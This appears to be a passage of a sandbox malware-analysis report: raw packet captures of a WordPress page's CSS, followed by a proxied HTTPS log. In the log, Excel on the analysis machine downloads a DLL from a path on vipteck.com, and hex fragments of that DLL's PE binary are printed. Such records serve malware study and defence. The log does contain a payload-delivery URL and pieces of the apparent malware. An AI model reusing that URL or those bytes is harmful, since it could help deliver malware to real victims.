May 23, 2022 09:19:32.260291100 CEST	1160	IN	Data Raw: 6e 74 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 Data Ascii: nt;background: none !important;padding: 0 !important;}</style><link rel='stylesheet' id='wp-block-library-css' href='https://c0.wp.com/c/5.9.3/wp-includes/css/dist/block-library/style.min.css' type='text/css' media='all' /><style id=
May 23, 2022 09:19:32.260314941 CEST	1162	IN	Data Raw: 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 63 79 61 6e 2d 62 6c 75 65 3a 20 23 38 65 64 31 66 63 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 63 79 61 6e 2d 62 6c 75 65 3a Data Ascii: --wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,
May 23, 2022 09:19:32.260339975 CEST	1163	IN	Data Raw: 64 69 65 6e 74 2d 2d 70 61 6c 65 2d 6f 63 65 61 6e 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 35 35 2c 32 34 35 2c 32 30 33 29 20 30 25 2c 72 67 62 28 31 38 32 2c 32 32 37 2c 32 31 32 29 20 35 30 25 Data Ascii: dient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight
May 23, 2022 09:19:32.260365963 CEST	1164	IN	Data Raw: 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 72 65 64 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d Data Ascii: eset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-ligh
May 23, 2022 09:19:32.260392904 CEST	1166	IN	Data Raw: 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 61 6d 62 65 72 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 Data Ascii: r: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--pr
May 23, 2022 09:19:32.260417938 CEST	1167	IN	Data Raw: 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 Data Ascii: p--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !im
May 23, 2022 09:19:32.302309036 CEST	1169	IN	Data Raw: 2d 62 6c 75 73 68 2d 6c 69 67 68 74 2d 70 75 72 70 6c 65 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 62 6c Data Ascii: -blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-grad

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49172	188.114.97.10	443	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
2022-05-23 07:19:15 UTC	0	OUT	GET /wp-admin/user/B8d6jr4pBND2HExAmI/lJWa95VlQ/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: vipteck.com Connection: Keep-Alive
2022-05-23 07:19:16 UTC	0	IN	HTTP/1.1 200 OK Date: Mon, 23 May 2022 07:19:16 GMT Content-Type: application/x-msdownload Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.29 Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Mon, 23 May 2022 07:19:15 GMT Content-Disposition: attachment; filename="RD05UTHGkitvIJt.dll" Content-Transfer-Encoding: binary Set-Cookie: 628b3573f41f6=1653290355; expires=Mon, 23-May-2022 07:20:15 GMT; Max-Age=60; path=/ Vary: X-Forwarded-Proto,Accept-Encoding Last-Modified: Mon, 23 May 2022 07:19:15 GMT CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=uPGWh%2BTiTHd2spFyuiEQ%2BYMvxNhN71WSSVJXCPqUmf9cs2f%2F7%2ByAB4JMZ8nYZX%2FgWhqp9ARVVqv9ddK8psWR4NnUtqrBjxVIw5NunB3WUyxM6577g%2B94d1sCHXt0oA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 70fc05b35dce9945-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-05-23 07:19:16 UTC	1	IN	Data Raw: 35 37 32 32 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 99 b3 07 38 dd d2 69 6b dd d2 69 6b dd d2 69 6b b2 a4 c3 6b 83 d2 69 6b b2 a4 f7 6b d7 d2 69 6b d4 aa fa 6b da d2 69 6b dd d2 68 6b 84 d2 69 6b b2 a4 c2 6b f6 d2 69 6b b2 a4 f2 6b dc d2 69 6b b2 a4 f3 6b dc d2 69 6b b2 a4 f4 6b dc d2 69 6b 52 69 63 68 dd d2 69 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 76 7b 87 62 00 00 00 00 00 Data Ascii: 5722MZ@!L!This program cannot be run in DOS mode.$8ikikikkikkikkikhkikkikkikkikkikRichikPEdv{b
2022-05-23 07:19:16 UTC	1	IN	Data Raw: 00 f0 00 22 20 0b 02 0a 00 00 04 02 00 00 8a 03 00 00 00 00 00 80 35 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 f0 05 00 00 04 00 00 f5 54 06 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 d0 aa 02 00 84 00 00 00 04 a2 02 00 50 00 00 00 00 00 03 00 fc d1 02 00 00 f0 02 00 cc 0f 00 00 00 00 00 00 00 00 00 00 00 e0 05 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 02 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fa 03 Data Ascii: " 5T@P .text
2022-05-23 07:19:16 UTC	3	IN	Data Raw: 8b c6 41 ff cb 48 03 c7 4c 2b c0 90 0f b6 10 42 0f b6 0c 00 2b d1 75 07 48 ff c0 85 c9 75 ed 85 d2 74 0f 49 83 c1 04 49 83 c2 02 45 85 db 75 cc eb 0b 41 0f b7 02 8b 5c 85 00 48 03 df 48 8b 6c 24 10 48 8b 74 24 20 48 8b c3 48 8b 5c 24 18 5f c3 cc cc cc cc cc cc cc cc cc cc cc 40 55 56 48 8d ac 24 28 f5 ff ff 48 81 ec d8 0b 00 00 48 8b 05 4f 9d 02 00 48 33 c4 48 89 85 c0 0a 00 00 ff ca 48 8b f1 0f 85 0d 1e 00 00 c7 44 24 20 06 b8 27 4e c7 44 24 24 56 1d 6f 1b c7 44 24 28 66 37 32 01 c7 44 24 2c 71 1e 2f 28 c7 44 24 30 0f 18 a6 c3 c7 44 24 34 0e 50 b7 d5 c7 44 24 38 99 12 d0 80 c7 44 24 3c fd 77 43 35 c7 44 24 40 42 aa a1 1d c7 44 24 44 4d 19 67 1d c7 44 24 48 6a 2f c8 8b c7 44 24 4c 7c ff 1a 27 c7 44 24 50 04 fc b5 20 c7 44 24 54 2e 23 ee 28 c7 44 24 58 09 Data Ascii: AHL+B+uHutIIEuA\HHl$Ht$ HH\$_@UVH$(HHOH3HHD$ 'ND$$VoD$(f72D$,q/(D$0D$4PD$8D$<wC5D$@BD$DMgD$Hj/D$L\|'D$P D$T.#(D$X
2022-05-23 07:19:16 UTC	4	IN	Data Raw: 85 6c 01 00 00 e7 db 60 3d c7 85 70 01 00 00 4d 31 33 55 c7 85 74 01 00 00 80 6c d6 3d c7 85 78 01 00 00 4d 70 1c a6 c7 85 7c 01 00 00 22 0a af 0c c7 85 80 01 00 00 0e 46 5f 51 c7 85 84 01 00 00 69 35 3e ce c7 85 88 01 00 00 61 55 4a 27 c7 85 8c 01 00 00 a7 91 3a ec c7 85 90 01 00 00 34 4e 53 0b c7 85 94 01 00 00 ef 71 a6 1a c7 85 98 01 00 00 56 f7 7d b5 c7 85 9c 01 00 00 21 40 43 2b c7 85 a0 01 00 00 e8 ac fa 24 c7 85 a4 01 00 00 55 39 ac 6f c7 85 a8 01 00 00 4c 20 5d 31 c7 85 ac 01 00 00 78 6a 16 c5 c7 85 b0 01 00 00 68 69 11 37 c7 85 b4 01 00 00 99 94 6c d4 c7 85 b8 01 00 00 35 4d 68 18 c7 85 bc 01 00 00 a6 2b 0e 20 c7 85 c0 01 00 00 0d 19 a6 12 c7 85 c4 01 00 00 d8 28 11 5e c7 85 c8 01 00 00 0f b8 3c 42 c7 85 cc 01 00 00 a1 1c 61 52 c7 85 d0 01 00 00 Data Ascii: l`=pM13Utl=xMp\|"F_Qi5>aUJ':4NSqV}!@C+$U9oL ]1xjhi7l5Mh+ (^<BaR
2022-05-23 07:19:16 UTC	5	IN	Data Raw: c7 85 90 03 00 00 25 38 e1 23 c7 85 94 03 00 00 50 00 71 ad c7 85 98 03 00 00 f2 66 61 01 c7 85 9c 03 00 00 50 38 75 1e c7 85 a0 03 00 00 ed 3f 78 3f c7 85 a4 03 00 00 a7 21 50 a9 c7 85 a8 03 00 00 17 ff 32 af c7 85 ac 03 00 00 9a c6 3e 5b c7 85 b0 03 00 00 24 39 33 31 c7 85 b4 03 00 00 64 ee a9 4d c7 85 b8 03 00 00 3c 4d 7d 4f c7 85 bc 03 00 00 1b 70 2b db c7 85 c0 03 00 00 94 6c 58 50 c7 85 c4 03 00 00 67 56 57 48 c7 85 c8 03 00 00 47 ae 85 5f c7 85 cc 03 00 00 51 6c 79 4f c7 85 d0 03 00 00 3e 0d 7e ee c7 85 d4 03 00 00 bf 5d 45 72 c7 85 d8 03 00 00 2b f3 27 1b c7 85 dc 03 00 00 0e e7 fd 79 c7 85 e0 03 00 00 db a9 32 35 c7 85 e4 03 00 00 3c 2d 07 15 c7 85 e8 03 00 00 5b 2d 22 84 c7 85 ec 03 00 00 a5 6a 69 2e c7 85 f0 03 00 00 2b 68 0f cb c7 85 f4 03 00 Data Ascii: %8#PqfaP8u?x?!P2>[$931dM<M}Op+lXPgVWHG_QlyO>~]Er+'y25<-[-"ji.+h
2022-05-23 07:19:16 UTC	7	IN	Data Raw: 07 c7 85 b4 05 00 00 96 71 e6 27 c7 85 b8 05 00 00 6b 49 c5 f3 c7 85 bc 05 00 00 23 ab b6 58 c7 85 c0 05 00 00 33 fa f1 9d c7 85 c4 05 00 00 77 26 65 64 c7 85 c8 05 00 00 b4 1c 4a 19 c7 85 cc 05 00 00 08 ac 62 e5 c7 85 d0 05 00 00 44 29 27 55 c7 85 d4 05 00 00 e6 ae 74 fd c7 85 d8 05 00 00 53 7d 70 6e c7 85 dc 05 00 00 6c 15 46 bf c7 85 e0 05 00 00 26 f3 2a 67 c7 85 e4 05 00 00 0a 61 f4 3a c7 85 e8 05 00 00 64 ad 42 bb c7 85 ec 05 00 00 71 ee a5 2e c7 85 f0 05 00 00 5e 5c 54 fa c7 85 f4 05 00 00 68 de 94 7b c7 85 f8 05 00 00 2a 68 00 0a c7 85 fc 05 00 00 08 d4 fe 5e c7 85 00 06 00 00 48 3c 42 b5 c7 85 04 06 00 00 0a 67 40 24 c7 85 08 06 00 00 1b f2 ee c8 c7 85 0c 06 00 00 50 2b 6f 6f c7 85 10 06 00 00 e3 a7 66 65 c7 85 14 06 00 00 99 18 e1 75 c7 85 18 06 Data Ascii: q'kI#X3w&edJbD)'UtS}pnlF&ga:dBq.^\Th{h^H<Bg@$P+oofeu
2022-05-23 07:19:16 UTC	8	IN	Data Raw: e8 5b c7 85 d8 07 00 00 9a c1 49 12 c7 85 dc 07 00 00 d2 ae 37 3f c7 85 e0 07 00 00 c8 f5 39 69 c7 85 e4 07 00 00 b5 1c 7d 70 c7 85 e8 07 00 00 13 71 22 9c c7 85 ec 07 00 00 83 26 0c 72 c7 85 f0 07 00 00 5d 10 c0 7d c7 85 f4 07 00 00 b5 31 40 43 c7 85 f8 07 00 00 22 56 e1 32 c7 85 fc 07 00 00 a9 01 1d 4b c7 85 00 08 00 00 4d e1 44 6a c7 85 04 08 00 00 11 0d e3 1a c7 85 08 08 00 00 6c 1e 01 ba c7 85 0c 08 00 00 b8 27 bf f0 c7 85 10 08 00 00 17 fa af 50 c7 85 14 08 00 00 19 a8 a8 22 c7 85 18 08 00 00 2d 7b ea 2a c7 85 1c 08 00 00 63 57 18 32 c7 85 20 08 00 00 3e c8 79 55 c7 85 24 08 00 00 5a 8d fc 0c c7 85 28 08 00 00 f1 a1 58 2f c7 85 2c 08 00 00 50 bc 27 0d c7 85 30 08 00 00 48 50 e0 5a c7 85 34 08 00 00 ca c3 9a 21 c7 85 38 08 00 00 e0 90 6a 96 c7 85 3c Data Ascii: [I7?9i}pq"&r]}1@C"V2KMDjl'P"-{*cW2 >yU$Z(X/,P'0HPZ4!8j<
2022-05-23 07:19:16 UTC	9	IN	Data Raw: 75 76 6d c7 85 fc 09 00 00 75 06 24 57 c7 85 00 0a 00 00 54 b7 6c f1 c7 85 04 0a 00 00 2d a6 36 14 c7 85 08 0a 00 00 2f 4c 42 c5 c7 85 0c 0a 00 00 ad 6b e2 5e c7 85 10 0a 00 00 48 3c c8 ea c7 85 14 0a 00 00 02 b2 08 af c7 85 18 0a 00 00 5b 5d 21 99 c7 85 1c 0a 00 00 b8 3b 2b 25 c7 85 20 0a 00 00 df 98 6f e3 c7 85 24 0a 00 00 88 25 4d 7d c7 85 28 0a 00 00 fd 0f 11 79 c7 85 2c 0a 00 00 2f ed 82 4a c7 85 30 0a 00 00 cc 66 b9 a0 c7 85 34 0a 00 00 6e c3 5b 55 c7 85 38 0a 00 00 0a 5c e6 f5 c7 85 3c 0a 00 00 d5 3f b5 2c c7 85 40 0a 00 00 94 a6 2c a2 c7 85 44 0a 00 00 91 25 20 de c7 85 48 0a 00 00 26 a6 7c 18 c7 85 4c 0a 00 00 7d f8 2a e1 c7 85 50 0a 00 00 24 68 75 4e c7 85 54 0a 00 00 c9 37 5f 0a c7 85 58 0a 00 00 3c 29 f6 e2 c7 85 5c 0a 00 00 47 15 18 b4 c7 85 Data Ascii: uvmu$WTl-6/LBk^H<[]!;+% o$%M}(y,/J0f4n[U8\<?,@,D% H&\|L}*P$huNT7_X<)\G
2022-05-23 07:19:16 UTC	11	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc 66 66 0f 1f 84 00 00 00 00 00 48 3b 0d 91 7d 02 00 75 11 48 c1 c1 10 66 f7 c1 ff ff 75 02 f3 c3 48 c1 c9 10 e9 81 04 00 00 cc cc cc cc cc cc cc 66 66 0f 1f 84 00 00 00 00 00 48 8b c1 49 83 f8 08 72 53 0f b6 d2 49 b9 01 01 01 01 01 01 01 01 49 0f af d1 49 83 f8 40 72 1e 48 f7 d9 83 e1 07 74 06 4c 2b c1 48 89 10 48 03 c8 4d 8b c8 49 83 e0 3f 49 c1 e9 06 75 39 4d 8b c8 49 83 e0 07 49 c1 e9 03 74 11 66 66 66 90 90 48 89 11 48 83 c1 08 49 ff c9 75 f4 4d 85 c0 74 0a 88 11 48 ff c1 49 ff c8 75 f6 c3 0f 1f 40 00 66 66 66 90 66 66 90 49 81 f9 00 1c 00 00 73 30 48 89 11 48 89 51 08 48 89 51 10 48 83 c1 40 48 89 51 d8 48 89 51 e0 49 ff c9 48 89 51 e8 48 89 51 f0 48 89 51 f8 75 d8 eb 94 66 0f 1f 44 00 00 48 0f c3 11 48 0f c3 51 08 Data Ascii: ffH;}uHfuHffHIrSIII@rHtL+HHMI?Iu9MIItfffHHIuMtHIu@fffffIs0HHQHQH@HQHQIHQHQHQufDHHQ
2022-05-23 07:19:16 UTC	12	IN	Data Raw: 61 8d 02 00 48 8b 05 ba 8d 02 00 48 89 05 2b 8c 02 00 48 8b 84 24 90 00 00 00 48 89 05 2c 8d 02 00 c7 05 02 8c 02 00 09 04 00 c0 c7 05 fc 8b 02 00 01 00 00 00 48 8b 05 19 78 02 00 48 89 44 24 68 48 8b 05 15 78 02 00 48 89 44 24 70 ff 15 6a e8 01 00 89 05 6c 8c 02 00 b9 01 00 00 00 e8 6a 55 00 00 33 c9 ff 15 4a e8 01 00 48 8d 0d cb eb 01 00 ff 15 35 e8 01 00 83 3d 46 8c 02 00 00 75 0a b9 01 00 00 00 e8 42 55 00 00 ff 15 14 e8 01 00 ba 09 04 00 c0 48 8b c8 ff 15 fe e7 01 00 48 81 c4 88 00 00 00 c3 cc cc cc cc cc cc 4c 89 4c 24 20 4c 89 44 24 18 48 89 54 24 10 48 89 4c 24 08 48 81 ec a8 00 00 00 48 8b 84 24 c8 00 00 00 48 8b 40 08 48 89 44 24 78 48 8b 84 24 c8 00 00 00 48 8b 4c 24 78 48 8b 00 48 2b c1 48 89 44 24 68 48 8b 84 24 c8 00 00 00 48 8b 40 38 48 89 Data Ascii: aHH+H$H,HxHD$hHxHD$pjljU3JH5=FuBUHHLL$ LD$HT$HL$HH$H@HD$xH$HL$xHH+HD$hH$H@8H
2022-05-23 07:19:16 UTC	13	IN	Data Raw: cc cc cc cc 33 c0 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 48 83 ec 48 e8 07 38 00 00 e8 a2 52 00 00 85 c0 75 0c e8 b9 00 00 00 33 c0 e9 9f 00 00 00 48 8d 0d db 02 00 00 ff 15 5d e3 01 00 89 05 cf 72 02 00 83 3d c8 72 02 00 ff 75 09 e8 91 00 00 00 33 c0 eb 7a c7 44 24 20 1b 01 00 00 4c 8d 0d 8e e6 01 00 41 b8 02 00 00 00 ba c8 02 00 00 b9 01 00 00 00 e8 e9 0b 00 00 48 89 44 24 30 48 83 7c 24 30 00 74 15 48 8b 54 24 30 8b 0d 81 72 02 00 ff 15 9b e2 01 00 85 c0 75 09 e8 42 00 00 00 33 c0 eb 2b 33 d2 48 8b 4c 24 30 e8 62 00 00 00 ff 15 74 e2 01 00 48 8b 4c 24 30 89 01 48 8b 44 24 30 48 c7 40 08 ff ff ff ff b8 01 00 00 00 48 83 c4 48 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 83 ec 28 83 3d 25 72 02 00 ff 74 16 8b 0d 1d 72 02 00 ff 15 a7 e2 01 00 c7 05 Data Ascii: 3HH8Ru3H]r=ru3zD$ LAHD$0H\|$0tHT$0ruB3+3HL$0btHL$0HD$0H@HHH(=%rtr
2022-05-23 07:19:16 UTC	15	IN	Data Raw: d7 dd 01 00 48 8b 4c 24 30 e8 ad fd ff ff 48 83 c4 28 c3 cc cc cc cc cc cc cc cc 44 89 4c 24 20 4c 89 44 24 18 89 54 24 10 48 89 4c 24 08 48 83 ec 48 8b 44 24 68 89 44 24 20 4c 8b 4c 24 60 44 8b 44 24 58 8b 15 c9 8a 02 00 48 8b 4c 24 50 e8 17 00 00 00 48 89 44 24 30 48 8b 44 24 30 48 83 c4 48 c3 cc cc cc cc cc cc cc cc 4c 89 4c 24 20 44 89 44 24 18 89 54 24 10 48 89 4c 24 08 48 83 ec 48 c7 44 24 30 00 00 00 00 48 8d 44 24 30 48 89 44 24 28 8b 44 24 70 89 44 24 20 4c 8b 4c 24 68 44 8b 44 24 60 8b 54 24 58 48 8b 4c 24 50 e8 37 00 00 00 48 89 44 24 38 48 83 7c 24 38 00 75 1c 83 7c 24 30 00 74 15 e8 ee 67 00 00 48 85 c0 74 0b e8 e4 67 00 00 8b 4c 24 30 89 08 48 8b 44 24 38 48 83 c4 48 c3 cc cc cc cc 4c 89 4c 24 20 44 89 44 24 18 89 54 24 10 48 89 4c 24 08 48 Data Ascii: HL$0H(DL$ LD$T$HL$HHD$hD$ LL$`DD$XHL$PHD$0HD$0HHLL$ DD$T$HL$HHD$0HD$0HD$(D$pD$ LL$hDD$`T$XHL$P7HD$8H\|$8u\|$0tgHtgL$0HD$8HHLL$ DD$T$HL$H
2022-05-23 07:19:16 UTC	16	IN	Data Raw: 02 00 48 8b 44 24 50 48 8b 0d a4 81 02 00 48 89 08 48 8b 44 24 50 48 c7 40 08 00 00 00 00 48 8b 44 24 50 48 8b 8c 24 90 00 00 00 48 89 48 10 48 8b 44 24 50 8b 8c 24 98 00 00 00 89 48 18 48 8b 44 24 50 48 8b 8c 24 80 00 00 00 48 89 48 20 48 8b 44 24 50 8b 8c 24 88 00 00 00 89 48 1c 48 8b 44 24 50 8b 4c 24 58 89 48 28 48 8b 44 24 50 48 89 05 3c 81 02 00 0f b6 05 01 68 02 00 48 8b 4c 24 50 48 83 c1 2c 41 b8 04 00 00 00 8b d0 e8 4f ea ff ff 0f b6 05 e4 67 02 00 48 8b 4c 24 50 48 8b 94 24 80 00 00 00 48 8d 4c 11 30 41 b8 04 00 00 00 8b d0 e8 29 ea ff ff 0f b6 05 c1 67 02 00 48 8b 4c 24 50 48 83 c1 30 4c 8b 84 24 80 00 00 00 8b d0 e8 0a ea ff ff 48 8b 44 24 50 48 83 c0 30 48 89 44 24 48 b9 04 00 00 00 e8 a2 4a 00 00 48 8b 44 24 48 48 83 c4 78 c3 cc cc cc cc cc Data Ascii: HD$PHHHD$PH@HD$PH$HHHD$P$HHD$PH$HH HD$P$HHD$PL$XH(HD$PH<hHL$PH,AOgHL$PH$HL0A)gHL$PH0L$HD$PH0HD$HJHD$HHx
2022-05-23 07:19:16 UTC	17	IN	Data Raw: 00 25 ff ff 00 00 83 f8 02 74 7f 48 83 bc 24 a8 00 00 00 00 74 40 8b 84 24 b0 00 00 00 89 44 24 30 48 8b 84 24 a8 00 00 00 48 89 44 24 28 48 8d 05 e4 da 01 00 48 89 44 24 20 45 33 c9 45 33 c0 33 d2 b9 01 00 00 00 e8 8d 5f 00 00 83 f8 01 75 03 cc 33 c0 eb 32 48 8d 05 14 d7 01 00 48 89 44 24 28 48 8d 05 68 d7 01 00 48 89 44 24 20 45 33 c9 45 33 c0 33 d2 b9 01 00 00 00 e8 59 5f 00 00 83 f8 01 75 03 cc 33 c0 eb 6e 48 8b 84 24 90 00 00 00 48 83 e0 f8 48 83 e8 08 41 b8 08 00 00 00 0f b6 15 7f 62 02 00 48 8b c8 e8 4a 0e 00 00 85 c0 74 45 48 8b 84 24 90 00 00 00 48 89 44 24 28 48 8d 05 02 da 01 00 48 89 44 24 20 45 33 c9 45 33 c0 33 d2 b9 01 00 00 00 e8 fb 5e 00 00 83 f8 01 75 03 cc 33 c0 e8 1e 5d 00 00 c7 00 16 00 00 00 33 c0 e9 07 05 00 00 48 8b 8c 24 90 00 00 Data Ascii: %tH$t@$D$0H$HD$(HHD$ E3E33_u32HHD$(HhHD$ E3E33Y_u3nH$HHAbHJtEH$HD$(HHD$ E3E33^u3]3H$
2022-05-23 07:19:16 UTC	19	IN	Data Raw: 09 48 89 08 eb 4b 48 8b 44 24 50 48 39 05 ee 76 02 00 74 2e 48 8d 05 5d d3 01 00 48 89 44 24 20 45 33 c9 41 b8 a7 03 00 00 48 8d 15 b0 d2 01 00 b9 02 00 00 00 e8 f6 60 00 00 83 f8 01 75 03 cc 33 c0 48 8b 44 24 58 48 8b 00 48 89 05 af 76 02 00 48 83 3d a7 76 02 00 00 74 12 48 8b 05 9e 76 02 00 48 8b 4c 24 58 48 89 48 08 eb 0c 48 8b 44 24 58 48 89 05 6f 76 02 00 48 8b 44 24 58 48 8b 0d 7b 76 02 00 48 89 08 48 8b 44 24 58 48 c7 40 08 00 00 00 00 48 8b 44 24 58 48 89 05 5f 76 02 00 48 8b 44 24 60 48 81 c4 88 00 00 00 c3 cc cc 89 54 24 10 48 89 4c 24 08 48 83 ec 28 b9 04 00 00 00 e8 b9 3f 00 00 90 8b 54 24 38 48 8b 4c 24 30 e8 1a 00 00 00 90 b9 04 00 00 00 e8 ff 3f 00 00 48 83 c4 28 c3 cc cc cc cc cc cc cc cc cc cc 89 54 24 10 48 89 4c 24 08 48 83 ec 68 83 3d Data Ascii: HKHD$PH9vt.H]HD$ E3AH`u3HD$XHHvH=vtHvHL$XHHHD$XHovHD$XH{vHHD$XH@HD$XH_vHD$`HT$HL$H(?T$8HL$0?H(T$HL$Hh=
2022-05-23 07:19:16 UTC	20	IN	Data Raw: ba dc fe 75 0b 48 8b 44 24 50 83 78 28 00 74 2e 48 8d 05 10 d2 01 00 48 89 44 24 20 45 33 c9 41 b8 69 05 00 00 48 8d 15 5b cd 01 00 b9 02 00 00 00 e8 a1 5b 00 00 83 f8 01 75 03 cc 33 c0 48 8b 44 24 50 48 8b 40 20 48 83 c0 34 0f b6 0d 23 58 02 00 4c 8b c0 8b d1 48 8b 4c 24 50 e8 76 da ff ff 48 8b 4c 24 50 e8 dc 67 00 00 e9 ba 01 00 00 48 8b 44 24 50 83 78 1c 02 75 0f 83 7c 24 78 01 75 08 c7 44 24 78 02 00 00 00 48 8b 44 24 50 8b 4c 24 78 39 48 1c 74 2e 48 8d 05 48 d1 01 00 48 89 44 24 20 45 33 c9 41 b8 77 05 00 00 48 8d 15 d3 cc 01 00 b9 02 00 00 00 e8 19 5b 00 00 83 f8 01 75 03 cc 33 c0 48 8b 44 24 50 48 8b 40 20 48 8b 0d e1 70 02 00 48 2b c8 48 8b c1 48 89 05 d4 70 02 00 8b 05 76 57 02 00 83 e0 02 85 c0 0f 85 0a 01 00 00 48 8b 44 24 50 48 83 38 00 74 17 Data Ascii: uHD$Px(t.HHD$ E3AiH[[u3HD$PH@ H4#XLHL$PvHL$PgHD$Pxu\|$xuD$xHD$PL$x9Ht.HHHD$ E3AwH[u3HD$PH@ HpH+HHpvWHD$PH8t
